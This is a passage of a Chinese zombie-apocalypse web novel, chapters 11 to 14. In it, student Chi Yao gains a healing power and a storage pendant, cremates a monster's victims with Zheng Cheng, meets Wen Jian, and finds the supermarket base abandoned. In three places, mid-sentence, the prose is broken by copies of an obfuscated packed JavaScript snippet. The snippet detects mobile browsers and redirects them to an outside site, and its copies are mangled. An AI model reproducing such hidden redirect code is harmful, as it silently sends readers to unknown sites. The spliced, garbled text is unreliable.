“感觉有温热的水流传过来了......”少年同样是一副好奇的神色,他活动了一下自己的手掌,感叹道,“好神奇,我忽然觉得我现在能力爆棚,能一口气跑一千米!” 看来将自己的能力输送给健康的人类,只会增加对方的活力。 池遥收回手,对于自己的能力,她还存在诸多疑问,例如脑中提到的“生机”到底是什么,但现在摆在面前的还有一件更为重要的事。 “你看我现在的样子,和你第一次见到我的时候是一样的吗?”池遥在少年面前转了一圈,不安地问道。 难道自己身体的异变发生在她无法注意到的地方,比如背后? “没有啊......”少年摇摇头,但目睹她从普通人变成能力者,语气比池遥还要兴奋,“你现在很正常啊。不过我还是第一次见到在末日之后变成天赋者的人,我一直以为天赋者是固定的!” 池遥附和着他的话,默默点头,心中却产生了一个想法。 像她这样自行觉醒能力,又没有变成行尸的人,真的是天赋者吗? 真的是,“被上天赋予能力”的能力者吗? 11. 工程大学1 无论池遥心中抱有什么样的疑惑,她都会以天赋者自居,也不想暴露自己的特殊性,在与少年沟通过后,对方答应帮池遥保守秘密。 “认识一下,我叫郑承。”少年对池遥伸出手。 “池遥。”池遥环视四周,补了一句,“这里是什么地方?我被打晕后就来这里了。” “这里是工程大学啊。”郑承介绍道,“不过不是工程大学的主校区,是校区另一侧的家属楼车库,虽然名义上叫家属楼,实际上住在这里的都是工程大学的教授。” 原来如此,看来这里离黑哥等人的基地非常近,她可以回去找到曲卓了。 这么想着,池遥随口问道:“郑承,你是工程大的学生吗?” “不是啊!” “啊?不是大学生?不会吧?” 刚刚就觉得他个子不高,长得也稚气,该不会是高中生吧? “不,我是北城大的,放假最后一天来工程大找朋友就没回去,丧尸爆发后一直留在工程大学这边。” 提到朋友,郑承的语气有些低落。 池遥愣住了。 “我也是北城大学的!大二戏剧文学专业!” 虽然她的专业冷门枯燥难学而且不好就业,池遥以往很少具体提起,只说是文学系,但末日到来后却有些想念平凡的校园日常。 “我大三,是经管学院的。”发现二人是校友,郑承脸上的阴霾驱散了些许,“丧尸爆发之后,工程大学的学生很团结,幸存的学生都聚集在食堂大楼里,那里食物储量很充足,应该还能坚持很长时间。我和朋友外出搜查的时候,朋友被这个丧尸捉到了这里,我在这片家属区找了好几天才找到这里,结果还是没赶上。” “我是和舍友一起被其他天赋者开车接到基地的。”池遥简单提及自己和曲卓的经历,脑海中规划自己接下来要做的事,“一会儿离开车库之后,我应该会去基地找我的舍友,和她报平安。” 智能手表不在,她还不知道自己失踪了多久。 这么想着,池遥突然意识到了郑承刚刚话中的异样。 “丧尸?”她伸手指着阿元的尸体,“他不是丧尸。” “什么!”这一次震惊的人变成了郑承,“工程大学搜查小队的不少学生都被他捉走了,我们一直以为他是进化出智力的变异型丧尸!” “他是行尸。”池遥介绍的时候忽然意识到,在温俭之前的话中,行尸也只是黑哥自己起的名字,“我所在基地的首领是这么叫的。据说没有能力的普通人觉醒能力后,就会变成这个样子。” “什么!”郑承显然是第一次得知这些信息,惊讶过后猛然看向池遥,“那你是怎么回事?你没有变成那个样子!” “我也不清楚。”池遥摇摇头,“我知道的信息也不绝对,毕竟末日才刚刚降临不到一个月,一定还有很多我们不知道的情报。” 说到这里,池遥仔细打量阿元的尸体,她为了保险砍掉他的头颅后,他脖子上的吊坠也跟着掉了下来,就掉在尸体旁边,她上前几步,捡起了地上的吊坠。 仔细看上去,这是一枚做工精致的红宝石银链吊坠,只是因为沾染了大量血迹而显得锈迹斑斑,池遥将吊坠在掌心中摊开,一只手指小心翼翼地触碰红宝石表面。 眼前突然出现了一个模糊的画面。 在她的视野里,突然了一个不大的空间,看起来与二十人专业课的教室差不多大,她此时以一种斜上方俯视的视角,将整个空间一览无余,能清楚看到空间内堆叠着不少尸体,有些严重残缺,可以用“一具”来形容,也有些只剩下残肢断臂和尸体碎块,鲜血淋漓。 在堆叠尸体的斜对角处,胡乱摆放着一大堆杂物,看上去像是阿元从猎物身上收缴的物品,十多部手机,还有各种电子产品,池遥在其中看到了自己的智能手表和手机。 只要心念一动,空间中的智能手表和手机就顺从她心意,飞到了她面前,池遥下意识伸手试图捉住物品,手指一碰到宝石表面,她的智能手表和手机顿时出现在了手里。 郑承一直在观察她的动作,此时看到她手上凭空出现了手机和手表,也显得十分惊诧。 “这是我被抓的时候在这个行尸身上发现的。”池遥把吊坠递给郑承,“你用手碰一下吊坠表面试试。” 郑承好奇地接过吊坠后立即伸手去试,池遥这时想到空间里堆满尸体的恶心场景,提醒了一句。 “注意一下,可能有——” 话还没说完,郑承手一抖,吊坠从指缝间滑了出去,幸好链条还勾在手指上,才没摔在地上。 “怎么会有这么多尸体!” 郑承的脸色惨白,行尸抓走的普通人大部分是工程大学里的学生,郑承末日后一直在工程大学里,乍一看到这些尸体,受到的冲击恐怕要比池遥多得多。 看到郑承的表情,池遥接过他递来的吊坠后就收进了口袋里,怕引发他不好的回忆,没有再让他看到这枚吊坠。 “这就是我刚才说的,末日之后,一定还存在很多我们不知道的信息和情报,比如这个项链,谁能想到一个项链里会有这么大的储物空间。” 而且,看空间内的尸体状态都维持在刚死不久的模样,没有腐烂发臭,这个吊坠空间内恐怕还是时间静止的。 果然,打开智能手表后,手表还停留在池遥从商场出来后不久的时间,池遥比对着郑承的手机调整好了现在的时间,才发现距离自己从商场出来,已经过了两天时间。 她以为自己被行尸打晕后只晕了几个小时,看来是晕了整整一天。 然而,池遥还十分好奇一点:“末日降临半个月了,你的手机怎么会还有电?” 池遥自末日第一天将手机关机后就很少开机,最开始每天早上会打开象征性地看一眼,在手机日历和备忘录中做简单记录,但上一次开机时显示电量低于百分之十,之后关了机就再也没有打开过。 “工程大学的每栋楼,每个楼层都设置了充电宝租借点。”郑承解释道,“充电宝数量很多,我们每个学生都分到了好几个。” 若是平时,校内的充电宝租借机器里不见得有几个充电宝,但偏偏末日降临在小长假末尾,假期时间大部分学生不在学校,也不会租借充电宝,机器里的充电宝无论是数量还是电量都自然是满的。 提到工程大学的事,郑承的脸色缓和了不少,池遥见状将话题转移回正题。 “郑承,这个车库,你打算怎么处理?” 行尸将所有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957423|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类尸体都塞进了吊坠空间里,他们所在的车库反倒是显得干净多了,除了面包车外,只有地上的一团杂物,池遥现在能够看清楚了,那是一大堆沾血的布料,应该是被行尸吃掉的死者的衣物。 “整理一下车库里的物品,用得上的就带走,用不上的......就焚烧掉吧,我刚刚看到吊坠里似乎有打火机,现在情况特殊,这些被行尸杀死和吃掉的人也没办法下葬,只能焚烧祭奠了。” 池遥点头同意,不仅如此,郑承还需要换掉他满是血迹的运动服,幸好衣物中有相对干净,尺码也差不多的衣服,郑承才得以换下自己的衣服。 伸进外衣口袋里的手摸索到了吊坠表面,池遥忍着看到尸体的恶心感,仔细确认了一番吊坠中的物品,吊坠中的确有打火机,她取出打火机递给郑承,由郑承找了个通风的角落,小心翼翼地点燃了这堆衣物。二人对着小小的火堆闭上眼,双手合十。 即便在丧尸横行的世界里,死亡已经变成了常态。 但他们还是心存对死亡的敬畏。 最后,二人面对着车库内的面包车,面面相觑。 面包车的车灯常亮,整个车库就靠此照明,想必这辆车还是能够利用得上的,但问题是—— 池遥并不会开车。 高考后的暑假,池遥扔了教科书就开始疯玩,根本没意识到其他同学们在抓紧时间考驾照,而北城地处北方,冬季室外气温最低能达到零下三十度,寒假更不可能去考驾照。 然而,郑承脸上也是与池遥如出一辙的茫然神色。 郑承,同样不会开车。 郑承上大学后就有意为父母减负,寒暑假都在兼职或实习,根本没时间学车练车。 此时,一辆无主,有燃油,并且没有任何损坏的面包车就摆在他们二人面前,出现的几率和天降馅饼差不多,然而二人却根本不会开车! “一会儿离开时如果看到认识的学生,就告诉他这个车库有车,让他们来自提吧。”最终,郑承艰难开口。 池遥紧跟着点头。 既然自己不会开车,把这个消息分享给其他学生,说不定能帮上别人的忙。 这下,车库内的物品全部都解决完了。 池遥再度掏出口袋里的吊坠,放在手心里。 “那么,我们接下来来谈谈这个。” 此时摆放在池遥手心里的,是远超他们认知的,堪称魔幻的空间吊坠,然而这枚吊坠只有一枚,无论属于谁似乎都十分合理。 在池遥表示出要划分吊坠的归属的意愿后,郑承飞速摆手拒绝,他已经对这个吊坠产生阴影了! “那么,最后一个问题。”池遥叹了口气,“吊坠里的尸体也都是被行尸害死的人,这些要怎么处理。” 总不能将这些尸体全部扔在车库里吧。 池遥能够想到最合理的办法是焚烧,但这次要焚烧的是尸体,时间较长,车库终究是封闭的地下空间,如果非要焚烧的话只能去室外,但这就意味着要直面室外的丧尸。 “我们去室外焚烧掉吧。”郑承开口,似乎看出池遥的担忧,“丧尸畏火,不会靠得太近,而且我的能力很适合在室外使用。” 池遥这才想到,自己忘记了询问郑承的能力。 12. 工程大学2 车库出口在面包车后,是一个略微有点陡的坡道,出口的卷帘门严严实实得遮住了室外的阳光,只要沿着坡道步行上去,穿过卷帘门就是室外了。 然而,郑承却带着池遥走进了连接家属楼住户和地下车库的消防楼梯,沿楼梯上去就是家属楼的一楼大厅。 不过,比起室外,池遥更担心封闭的楼道和一楼环境,在这种封闭又阴暗的地方,丧尸往往更加密集,虽然身体强化后的她已经有自信对抗丧尸了,但显然是直接走坡道更加安全。 “我的能力很特别。”郑承解释说,“我可以在我们两人身上覆盖一层无形的伪装层,在覆盖伪装层后,我们在普通丧尸的眼里和路边的景物没有任何区别,只要不和丧尸有直接接触,不要发出太大的噪音,距离我不要超过五米远,无论做什么,都不会被丧尸发现。” 这是多么实用的能力啊! 果然,在打开楼道门后,池遥在一片黑暗中发现了几只潜藏在此的丧尸,但它们完全没有发现经过它们身边的两名人类,郑承的能力在这个丧尸横行的世界中简直是针对丧尸而生的。 “这个能力也没有那么万能。”注意到池遥羡慕的眼神,郑承轻声解释道,“我的伪装层最多只能覆盖两个人,而且只对丧尸有效,对人类效果不大,之前我还奇怪为什么我明明用能力罩住了朋友,但朋友还是被丧尸捉走了,我还以为是我们之间的距离超过了五米。现在看来应该是因为行尸的本质还是人类,我的能力并不总是有用。” 池遥想起了自己观察到郑承与阿元打斗时的一幕,在郑承远离阿元时,阿元的确一时没有发现郑承的位置,但当郑承朝阿元走近时,立刻就被阿元发现了。 “已经很厉害了。”她由衷夸赞。 家属楼外是一片宽阔的广场,广场中心有一座石质喷泉,喷泉池是下沉式的,呈椭圆形,容积很大,此时池内的水早就干涸了。 “就在这里吧。”二人均停下了脚步。 广场上倒是有几只游荡的丧尸,数量并不算多,因此池遥先从吊坠中取出一本书,应该也是受害者的物品,用打火机点燃后丢进了喷泉池底,若是其他书籍池遥绝对不舍得直接引火点燃,但这本书是本几百页厚度的高数教材,她点火的动作没有一丝犹豫,麻利极了。 很快,喷泉池内就燃起了一小簇火焰,原本在广场上徘徊的几个丧尸立刻远离了,此处只剩下了池遥和郑承两个人。 这一次从吊坠中掏尸体出来时,池遥才发现,吊坠的使用也有一部分限制,能装进吊坠和能从吊坠中取出的物品一定是能够用手拎起来的物品,幸好这些尸体残缺不全,在体质强化后,池遥努努力就能单手提起来,不然还是普通人的她恐怕根本无法取出。 她站在喷泉边,将这些残缺不全,有些甚至只剩骨架的尸体依次扔进喷泉内,郑承站在稍远处蹙着眉看着这一幕,若不是要保持池遥身上的伪装,郑承一定会离得更远。并不是他不想帮池遥的忙,而是在这些尸体当中,极大概率有他认识的人,甚至可能会看到他那位朋友的尸体。 正因如此,每次掏出一具能看清五官的尸体时,池遥都会加快动作,尽可能在郑承看到尸体的脸之前就丢进池内。 当所有成具的尸体都清理出来后,就只剩下大量的残肢和尸块了,然而这才是受折磨的开始,这些鲜血淋漓的部件气味极其浓重,池遥拿着吊坠的手都在抖,只好将吊坠戴在脖子上,一只手捂着嘴干呕,一边加快另一只手的清理速度。 池遥还好,她被行尸关在地下车库两天没有进食,现在活动自如全靠觉醒能力后体质的提高,但胃里根本没东西可吐。郑承可就惨了,短短十分钟内在一旁扶着行道树呕吐了两次,他甚至不能离开池遥太远,只能被迫闻着浓重到令人作呕的血腥味。 清空了吊坠内所有的尸体,二人立即后退,远远注视着喷泉池内的火焰越燃越旺,最高时火焰甚至有一人高,幸好火焰范围一直被控制在池内,随着时间流逝,火势渐弱,却迟迟没有熄灭。 两个人在喷泉池前等了很久,最开始是神色肃穆地站着,最后干脆一起坐在了广场长椅上边休息边等待,直到黄昏时,火焰才彻底熄灭。 池遥再次查看了吊坠空间的状态,发现物品放入吊坠空间后不仅时间会静止,状态也会一直保持最初的状态。空间里原本堆满尸体的位置,此时清空尸体后仍旧焕然一新,没有沾染任何血迹。 二人离开车库时正值午后,现在已经是黄昏时刻了。池遥急着去超市基地找曲卓,本想与郑承找机会告别,却发现他们似乎同路。 黑哥组建的超市基地靠近工程大学东门,在工程大学校外一条街尽头,大多数工程大学的学生习惯走北门,并不常来此,只有家属楼距离东门距离最近。郑承本打算带池遥走东门离开校园,路过栅栏时发现直接翻越过栅栏才是最为方便快捷的办法,立刻重温了一次翻墙。 工程大学的栅栏比北城大学的栅栏更高,更难找落脚点,幸好池遥和郑承都是身体经过强化的能力者,翻个墙简简单单不成问题。 “我要去校外一条街尽头的书店找北城市地图,和你应该同路。你说的超市我也知道,好像是有社会上的天赋者驻扎在那里,我们学生组成的搜查小队很少会来这边。” 郑承要去的书店池遥也知道,她和曲卓温俭也曾经去这家书店找过地图,书店的地图被基地的成员拿走了不少,但地图厚厚一叠,在柜台内甚至还有库存,根本无需担心没货。他们去超市的途中就会路过这家书店,她立刻自告奋勇帮郑承带路。 难以想象,在末日降临后,池遥居然还有机会大摇大摆地走在街道上,周围徘徊的丧尸根本无法察觉到他们的存在,她甚至可以和郑承边聊天边前进,只要控制音量就不会被丧尸察觉。 然而,在即将走到书店门口时,池遥却发现了街道对向走来一个熟悉的身影。 他独自一人,穿着一件黑白分明的冲锋衣外套,走近了才能发现外套上布满了黑白涂鸦,新潮又时尚。 此时,他正摊开手掌举在身前,在他周围飞舞着两枚碎玻璃片,当周围的丧尸注意到他时,碎玻璃就会直接飞进丧尸的脖子里,割断丧尸的脖颈。 他一路走,一边驱使着两枚玻璃清理沿路的丧尸,在他身后的街道两侧倒着数不清的尸体。 “温俭!”池遥忍不住惊呼出声,而在听到池遥的声音后,郑承显得格外惊讶。 “那是温俭?” “对啊,你也认识温俭?” 郑承的伪装对人类不起作用,两人相互确认的时候,温俭已经来到了他们对面,停下了脚步。 “池遥?”看到池遥,他显然很惊讶,“你在这里?” “我被行尸捉走了,刚逃出来。”池遥简单解释了一句,话音刚落就见到温俭的玻璃片擦着她的脸颊飞到她身后,杀死了一只丧尸。 丧尸仍然无法察觉她和郑承二人,但停下脚步的温俭引起了这周围所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964098|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有丧尸的注意,正在向此处聚拢。 “我们进书店说。”三人此时就在书店门口,池遥立刻拽着郑承打开了书店门走进去。 这家书店面积不大,基地的人巡查时也会定时检查,按理来说应该是安全的。 然而,一打开门,池遥却发现了三只丧尸。 温俭跟在他们身后进了书店,还没完全进来,两枚玻璃片就以无法用肉眼捕捉到的速度清理了所有丧尸,温俭关紧书店门,漆黑的书店里只剩下他们三人,但这样的黑暗显然不会困住三个视觉强化过的能力者,他们仍旧能看到周围的摆设,在黑暗中朝着书店深处走去。 温俭似乎察觉到了池遥的变化,目光在池遥身上仔细打量了一番,但却没有开口询问。 “我没想到我会被行尸关押这么久,现在曲卓怎么样?见不到我她肯定很着急。” 三人停在柜台前,池遥急忙开口,她迫切地想要知道曲卓的情况。 “曲卓离开基地了。” 温俭的语气平淡,说出的内容却令池遥心脏猛地一沉。 “什么!” “曲卓昨天中午回来就离开基地了,说是要去找你。”温俭看了她一眼,“曲卓是第一个主动离开基地的天赋者,黑哥特别生气,趁这个机会我也主动离开基地了。黑哥大概是怕曲卓和我暴露小队和基地的信息,昨天夜里带着队伍里的普通人连夜收拾东西离开了,你现在去超市也找不到他们。” 仅仅两天时间! 不但是曲卓,连队伍的基地位置都变了! 巨大的信息量让池遥一时反应不过来,过了半晌,才茫然发问。 “那曲卓有没有说过,她要去哪儿找我?” “她没说过。” 这下,池遥彻底懵了。 池遥不再开口,身旁的郑承却接过了话题。 “那个,你是温俭吧?你还记得我吗?” 温俭点点头,他看着郑承的眼神同样是看熟人的眼神。 “你是陈诚的兄弟,末日前一天你来工程大学找他。我当晚有事不回宿舍,让你在我的床位上对付一晚。” 末日前一天傍晚,温俭离开学校宿舍,去见曲卓推荐的天赋者同伴黑哥等人,索性和黑哥等人住在同一家旅店,因此在末日来临后几人立刻组成了天赋者小队建立基地,救了被困酒店的池遥与曲卓。而郑承的朋友陈诚正是温俭的舍友,原本当晚要回北城大学的郑承临时决定睡在温俭的铺位上,因此在末日来临后彻底滞留在了工程大学。也正因为如此,在池遥被阿元捉走后,是郑承出现帮助了池遥。 池遥在脑海中整理着他们话中的信息量,忍不住在心底发出惊叹。 见温俭还记得自己,郑承松了口气。 “你还记得我就好。”他的语气有些沉重,“我是想告诉你,陈诚几天前被行尸捉走了,我找到行尸的所在地时,已经来不及了。” 后续的内容,郑承没有详细说明。 在加入黑哥的基地后,温俭一次都没有回过工程大学。 基地就在工程大学校外一条街上,步行二十分钟就能到教学楼附近,然而温俭却未曾抽出二十分钟的时间回学校,他与陈诚的最后一次见面,还是他出门与黑哥等人见面的时候。 打扮新潮的青年垂下脑袋,沉默了半响才开口。 “我知道了,谢谢你告诉我。” 他的表情仍旧没有太大波澜,唯有声线比刚才略微沙哑了一些。 13. 长宁街1 “对了,”在如此沉重的氛围之下,池遥突然开口,“温俭,你会开车吗?” 话题转折很生硬,但温俭闻言点了点头:“会开车,怎么了?” “太好了。”郑承立刻松了一口气,“我们解决掉行尸后找到了一辆面包车,应该还能开,但我们都不会开车。” “面包车......”温俭沉吟几秒,“停在哪儿?” “东门附近的家属楼地下车库里,就是......”郑承开口,刚说完半句,就看到温俭点头,一副了然模样。 “我毕竟是工程大的学生,对校园很熟悉,正好我要回一趟学校,途中会经过那里。”对上郑承疑问的目光,温俭解释了一句。 池遥和郑承都惦记在心的面包车终于有了新主人。 谈话到此结束,池遥带着郑承找到了放北城地图的柜台,一人拿了一张,身侧传来温俭的声音。 “给我一张。” 池遥这才知道,温俭之所以独自出现在这条街上,同样也是来书店找地图的。 在彻底断电断网的北城市,地图成了炙手可热的至宝。 温俭拿到地图就离开了,而池遥则顺着一排排书架望去,每类书籍都拿出几本放进吊坠空间内。 小说和漫画放得尤其多。 然而,吊坠空间看着不大,却自动整理好了池遥放进去的书籍,几十本书摞成高高的几列堆在角落,竟然没占多少空间。 离开书店时,天色彻底黑沉了下来。 “池遥,你接下来要去哪里?”郑承听到了不久前温俭与池遥的对话,问她。 “还是打算去超市看一下,一方面确定他们的确离开了,另一方面那里毕竟是个超市,他们离开得那么匆忙,带不走超市里的所有东西,我去看看有什么能用得上的。” 池遥攥紧了胸前的吊坠,有了这个空间吊坠,她就拥有了属于自己的小小收纳空间。 “你呢?你打算去哪儿?” 既然郑承要来书店找地图,必然是不打算回工程大学了。 “我想回北城大学。”郑承叹了口气,“本来是因为有朋友在,所以一直留在工程大学,但现在朋友也......唉,就没必要继续留在工程大学了,我想着不如回北城大学看看,不知道舍友和同学们还在不在。” 此话一出,池遥也陷入了思考。 末日降临后,池遥也同样从未回过北城大学,郑承这么一说,池遥也有些想念宿舍的另外两位舍友。 池遥的宿舍一共四人,分属两个人数极少的冷门专业,池遥和曲卓同属戏剧文学专业,另外两位舍友属于图书馆学专业,因此私下活动习惯于两两分组,但四人聚在一起时也和谐融洽,相处一年多还没发生过什么大矛盾。 宿舍的另外两位舍友与池遥曲卓这两个本地人不同,她们的家在省外城市,因此在小长假最后一天已经返校回到宿舍了,不知道现在她们两人怎么样了。 更何况,她不知道曲卓会去哪里找她,说不定最终也会回到北城大学。 “如果你不介意的话,”池遥开口,“回北城大学可以加我一个吗?” “求之不得。” 解决了之后的计划,郑承忍不住问起了和温俭有关的事。 “池遥,你和温俭很熟吗?” 池遥和温俭当然算不上熟悉,和温俭熟悉的另有其人,于是池遥将自己与曲卓末日后的经历讲述给了郑承。 “没想到是这样。”得知事件全貌的郑承也十分感叹,感慨了一会儿再度将话题放到温俭身上,“你不知道吧,温俭在工程大学有名得很。” 池遥眼前闪过温俭的形象,他长相出众,穿搭又极具个性,这样的人走到哪里都十分吸引目光,不过郑承想说的或许并不是这个意思。 “他是工程大学跑酷社的社长,参加了不少国内外的跑酷大赛,拿了很多奖。” “哇!” 池遥根本没想到会是这样,这样的人又觉醒了强大的天赋,未来绝对不可小觑。 “不过他似乎性格......”郑承微微蹙起眉头,“不太热络,我朋友和他做舍友两年多了,关系还是不太熟。他倒也不是对人冷淡,就是好像没有情绪的机器人一样,对什么事都没什么反应。” “我也觉得。”池遥拼命点头,“往好了想这也是一种优点,情绪很稳定,像卡皮巴拉。” 说到这里,两人终于到了目的地,黑哥小队曾经的超市基地。 超市前的卷帘门仍旧锁着,池遥想从后门进入,却发现后门也被锁死了,只能翻出前门钥匙手动拉起卷帘门进入超市。 超市内部一片混乱,与池遥的记忆截然不同。 池遥猜得没错,黑哥带队撤离时必然无法带走所有物资,但没想到竟然如此不留余地,留在超市的物资,几乎全部遭到了破坏。 带不走的食物被拆开包装,肆无忌惮地倒在地上,摆件和物品都被拆散,池遥还看到几个又大又沉重的玻璃制品的碎片。 “一群混蛋!” 看着一片狼藉的超市,郑承忍不住骂了一句。 池遥叹了口气,在超市基地的时间不长,而且当时作为一个普通人,她并不了解黑哥的秉性,此时见到超市内的场景,才明白温俭为什么执意离开基地,也再一次认识到了,曲卓到底把她保护得多好。 她绕过混乱的超市货架,径直走向超市内部,很快,一截狭窄的楼梯出现在了二人面前。 在此之前,池遥从未踏足过超市基地的二楼,而在小队撤离后,她却深吸一口气,走上了楼。 二楼空间比池遥想象得要狭窄一些,分为超市店主一家居住的三室一厅与一间大办公室,办公室的空间被划分成了四块,由几个大纸箱草草隔开,客厅也被挂帘分成了三块,主卧没有多少改动,大概是黑哥的住处,另外两间次卧面积都不大,也没有被分割开来。二楼被清空得相当彻底,除了大件家具以外,几乎所有能带走的物品全被洗劫一空,也遗留下来许多垃圾。 客厅的白色挂帘上,溅满了星星点点的血迹与大片的黄色污渍,而客厅的墙壁上也有喷溅状的血液。 在池遥不知道的时候,似乎发生过许多事。 普通人居住的仓库是整个超市脏污最重的地方,俨然是个小型垃圾场。一打开门,就能闻到混杂着血腥味的难闻气味,仓库里丢弃着各种东西,显然撤离时分外慌乱不解。 池遥走出仓库时将仓库门关严锁死,听到了郑承叫她的声音。 幸好,虽然小队的人破坏了超市入口处的大量物资,但超市深处的物资尚未遭到破坏,不过留下来的大部分都是生活用品,并不是必需品,对于池遥和郑承而言同样用处不大。 “你在装什么?” 郑承扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969284|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过头,看到池遥正举起一个大箱子装进吊坠空间内,她所在的墙角有四个巨大的箱子,池遥一口气将所有箱子全部装了起来。 “卫生巾和成人纸尿裤。”池遥松了口气,黑哥小队里男女比例十分夸张,只有几个女孩子,正因如此,很多女性的必需品反而被留在了超市里。 在将所有卫生巾扫荡一空后,池遥再次将完好无损的洗发水,护手霜,防晒乳等物品装入吊坠空间,很多物品她并不知道确切用途,是她过去进了超市一眼都不会看的,但吊坠空间还有很多空余位置,索性一股脑儿地全部装进去了。 最后,回到超市入口处时,池遥硬着头皮在垃圾中翻找了半天,将一些被损坏得不严重的物品收入空间,二人才一起离开了超市。 工程大学校外一条街上有不少旅店,二人挑了最近的一家旅店,找到了两间门对门的空房歇了下来。旅店老板的房间在顶层,二人在顶层发现了不少食物,终于饱餐了一顿。 回到房间,池遥摘下吊坠,将吊坠空间内不属于自己的物品一件件往外拿。 这些大部分都是被行尸捉走的受害者身上的物品,池遥决定和郑承平分。 清理掉空间里的尸体后,吊坠空间就不剩多少东西了,这些物品中数量最多的是电子产品,池遥一连取出了十几部手机,只可惜大部分手机都设置了密码解锁,唯一一部滑动解锁的手机给了郑承。 第二天,两人正式踏上了前往北城大学的路途。 北城大学与工程大学距离不远,都在北城的主城区内,坐地铁三十分钟就能到达,然而若是步行前往,至少需要两个小时,在丧尸横行的末日恐怕要更长时间。 有郑承的能力庇护,池遥每路过一家商店就要进门看看,大多数的商店都遭到了幸存者的洗劫,也有少数商店因其特殊性反而幸免于难,池遥就发现了一家未遭破坏的香薰蜡烛店。 一上午,虽然找到了少量实用的物资,但池遥放进空间内的物品大多数用处不大,例如不同香型的香水和香薰蜡烛,桌游棋牌,盲盒玩具,小型乐器,宠物用品,符合池遥郑承二人尺码的各类服饰,虽然无用但很能提供情绪价值。这些物品虽然种类多,但体积不大,整理好后反而没有占用多少空间。 虽然走了一上午,但因为两人逛了不少店铺,只走了三分之一的路程,此时,他们正坐在一间未被破坏的冰淇淋店的落地窗前,在末日苦中作乐的找了个舒适的位置准备吃午餐。 在朝着北城大学前进的途中,池遥见到了不少幸存者,大多数几人一伙,但城市中的幸存者们对彼此都十分警惕,一旦发现彼此不仅不会靠近,反而会相互避让。偶尔还能见到有车辆飞驰而去。 而池遥和郑承为了隐蔽自己,都带上了帽子和口罩,遮住了自己的面容,他们二人身形瘦小,看上去弱不禁风,并没有引起其他人的注意。 透过落地窗,满目疮痍的街道尽收眼底,在末日来临前,这条街道是北城小有名气的商业街,然而,在末日后,却到处都是血迹和尸体。 池遥将目光从窗外收了回来,她此时和郑承面对面坐在一个四人桌前,主打高奢冰淇淋品牌的冰淇淋店内的桌上,摆放着漂亮的艺术摆件。 只是,不知为何,在桌上造型独特的纸巾盒旁,放着一枚橡胶小黄鸭。 等等。 这枚小黄鸭,之前在这个位置吗? 14. 长宁街2 以防万一,池遥并没有碰小黄鸭,直到离开冰淇淋店门前,池遥回头再次确认,那枚小黄鸭仍旧安安静静地待在桌上。 穿过商业街后的街道名为长宁街,在池遥的印象中,自己上小学前的时光就是在长宁街幼儿园度过的,不过这已经是十几年前的事了,她对此并没有什么印象。 长宁街幼儿园在街道尽头的十字路口转角处,经过幼儿园大门时,池遥侧头看过去,愣住了。 这家幼儿园是北城的老牌幼儿园,因此并没有修缮栅栏和铁门,只有彩色的三层小楼伫立在诸多建筑之间。 而此时,幼儿园原本应该紧闭的两扇大门却被固定在打开的位置,门口的阶梯前,一只不该出现在此处的小黄鸭正孤零零地躺在石阶上。 “哇!”郑承惊呼一声,他同样看到了那枚小鸭子玩具,“好怀念的玩具,我小学之后就再也没见过了。”他走上前几步,蹲下身捡起了地上的小鸭子。 而池遥为了保持和他之间的距离,也朝着郑承的方向走去。 然而,就在郑承将小鸭子捧在手里的瞬间,小黄鸭的内部忽然爆发出一阵强烈的红光,他本能的将手里的东西扔出去,与此同时,一旁的池遥立即伸出手,拽着他的手臂猛地向后栽倒! 眨眼间,逐渐放大的火光将小小的橡皮鸭吞没,混乱的气流裹挟着火焰向周边膨胀开。 二人狼狈地倒在地上时,身侧响起了剧烈的爆炸声。 直到爆炸声彻底平息,池遥才从地上爬起来,她离得远,只受到了一点冲击,没有受伤。一旁的郑承捂着胳膊表情痛苦地起身,他的手臂被炸伤了。 小黄鸭所造成的爆炸波及范围很小,威力并不强,然而若是郑承刚才没有立即放开手的话,虽然并不至于丧命,但恐怕会被炸成重伤。 池遥眼神观察着周围爆炸后留下的痕迹,手掌贴着郑承受伤那侧的手臂,小心翼翼地将藏于手掌内的热流缓慢输送到郑承身体里。 郑承痛苦皱紧的眉头倏然一松,他能感受到从池遥的掌心传来一阵柔和的暖意,沿着皮肤接触的地方缓慢流向伤处,随后,流血的手臂以肉眼可见的速度止血,结痂。 然而,输送了十秒左右,池遥却忽然感到逐渐增强的疲惫感,输出的热流仿佛将她身上的力气也一道抽走。 她立即放开手。 郑承手臂上的伤口虽然没有痊愈,但也好了大半,此刻见她脸色不对,忍不住关切地问道。 “没事吧,你的治疗能力是有代价的吗?” “嗯。”池遥点点头,脑海中浮现出能力的具体内容。 【加速治愈:能够加快伤口自动愈合的速度,但要消耗自身的生机。注:无法治愈自己。】 